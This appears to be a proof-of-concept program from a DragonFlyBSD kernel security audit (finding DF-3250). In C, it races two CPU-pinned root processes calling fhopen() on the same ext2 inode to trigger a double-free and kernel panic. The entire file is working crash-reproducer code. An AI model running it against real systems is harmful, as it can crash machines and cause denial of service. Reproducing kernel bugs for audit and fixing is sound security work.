⬢ DragonFlyBSD Kernel Audit
DF-3250 / fh_race.c
← back to finding ↓ download raw
/*
 * DF-3250 fhopen racer - two pinned processes race fhopen() of the SAME
 * (cold) ext2 inode, driving VFS_FHTOVP -> ext2_vget -> ext2_ihashget/
 * ext2_alloc_vnode directly with no namei in between.
 *
 * When the loser's ext2fs_inode_hash_lock check lands after the winner's
 * unlock, ext2_ihashins returns EBUSY and the handler at ext2_vfsops.c
 * 1313-1320 double-frees the inode -> KKASSERT bmap panic.
 *
 * usage: fh_race <dir-with-rNNNNN> <nfiles> <seconds>
 * (must run as root: getfh/fhopen are RESTRICTEDROOT)
 */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/usched.h>
#include <sys/mount.h>
#include <sys/file.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <errno.h>

struct shared {
	volatile uint64_t narrate;
	volatile uint64_t ndone;
	volatile uint32_t stop;
};

static inline void
cpu_pause(void)
{
	__asm__ volatile("pause");
}

static inline uint64_t
rdtsc(void)
{
	unsigned int lo, hi;

	__asm__ volatile("rdtsc" : "=a"(lo), "=d"(hi));
	return ((uint64_t)hi << 32) | lo;
}

int
main(int argc, char **argv)
{
	const char *dir;
	long nfiles;
	long secs;
	int id, fd, i;
	uint64_t k;
	time_t t0;
	struct shared *s;
	struct fhandle *fhs;
	char path[512];
	int lockfd;

	if (argc < 4) {
		fprintf(stderr, "usage: %s <dir> <nfiles> <seconds>\n",
		    argv[0]);
		return (2);
	}
	dir = argv[1];
	nfiles = atol(argv[2]);
	secs = atol(argv[3]);

	/*
	 * No flock: a wedged (D-state) partner would hold it forever and
	 * block respawns; the supervisor enforces single-instance instead.
	 */
	lockfd = open("/tmp/df3250.lock", O_CREAT | O_RDWR, 0644);
	(void)lockfd;

	s = mmap(NULL, sizeof(*s), PROT_READ | PROT_WRITE,
	    MAP_SHARED | MAP_ANON, -1, 0);
	memset((void *)s, 0, sizeof(*s));

	fhs = malloc(sizeof(struct fhandle) * nfiles);

	/* phase A: collect file handles */
	for (i = 0; i < nfiles; i++) {
		snprintf(path, sizeof(path), "%s/r%05d", dir, i);
		if (getfh(path, &fhs[i]) != 0) {
			fprintf(stderr, "getfh(%s): %s\n", path,
			    strerror(errno));
			return (1);
		}
	}
	fprintf(stderr, "collected %ld file handles\n", nfiles);

	id = fork() != 0;

	{
		int cpu = id;
		if (usched_set(getpid(), USCHED_SET_CPU, &cpu,
		    sizeof(cpu)) != 0)
			fprintf(stderr, "id=%d pin FAILED\n", id);
	}

	t0 = time(NULL);
	for (k = 0; ; k++) {
		uint64_t idx;
		uint64_t deadline;

		if (s->stop)
			break;
		if ((uint64_t)(time(NULL) - t0) > (uint64_t)secs) {
			s->stop = 1;
			break;
		}

		/*
		 * Barriers with a stall deadline: if the partner wedged
		 * (e.g. permanently blocked in the kernel on the broken
		 * ext2fs_inode_hash_lock lost-wakeup), exit so the
		 * supervisor can respawn the pair.
		 */
		__sync_add_and_fetch(&s->narrate, 1);
		deadline = rdtsc() + 12000000000ULL;	/* ~4s @3GHz */
		while (s->narrate < 2 * (k + 1)) {
			if (rdtsc() > deadline)
				goto stalled;
			cpu_pause();
		}

		/* phase sweep 0..~250us in ~80ns steps */
		if (id) {
			uint64_t spin = (k % 3000ULL) * 250ULL;
			uint64_t tend = rdtsc() + spin;

			while (rdtsc() < tend)
				cpu_pause();
		}

		idx = k % (uint64_t)nfiles;
		fd = fhopen(&fhs[idx], O_RDONLY);
		if (fd >= 0)
			close(fd);

		__sync_add_and_fetch(&s->ndone, 1);
		deadline = rdtsc() + 12000000000ULL;	/* ~4s @3GHz */
		while (s->ndone < 2 * (k + 1)) {
			if (rdtsc() > deadline)
				goto stalled;
			cpu_pause();
		}

		if (id && (k % 50000) == 0)
			fprintf(stderr, "attempts=%llu elapsed=%ld\n",
			    (unsigned long long)k,
			    (long)(time(NULL) - t0));
		continue;
stalled:
		fprintf(stderr, "id=%d: partner stalled at round %llu "
		    "(lost-wakeup wedge?), exiting for respawn\n",
		    id, (unsigned long long)k);
		break;
	}
	if (id) {
		int st;
		wait(&st);
		fprintf(stderr, "total attempts ~%llu\n",
		    (unsigned long long)k);
	}
	return (0);
}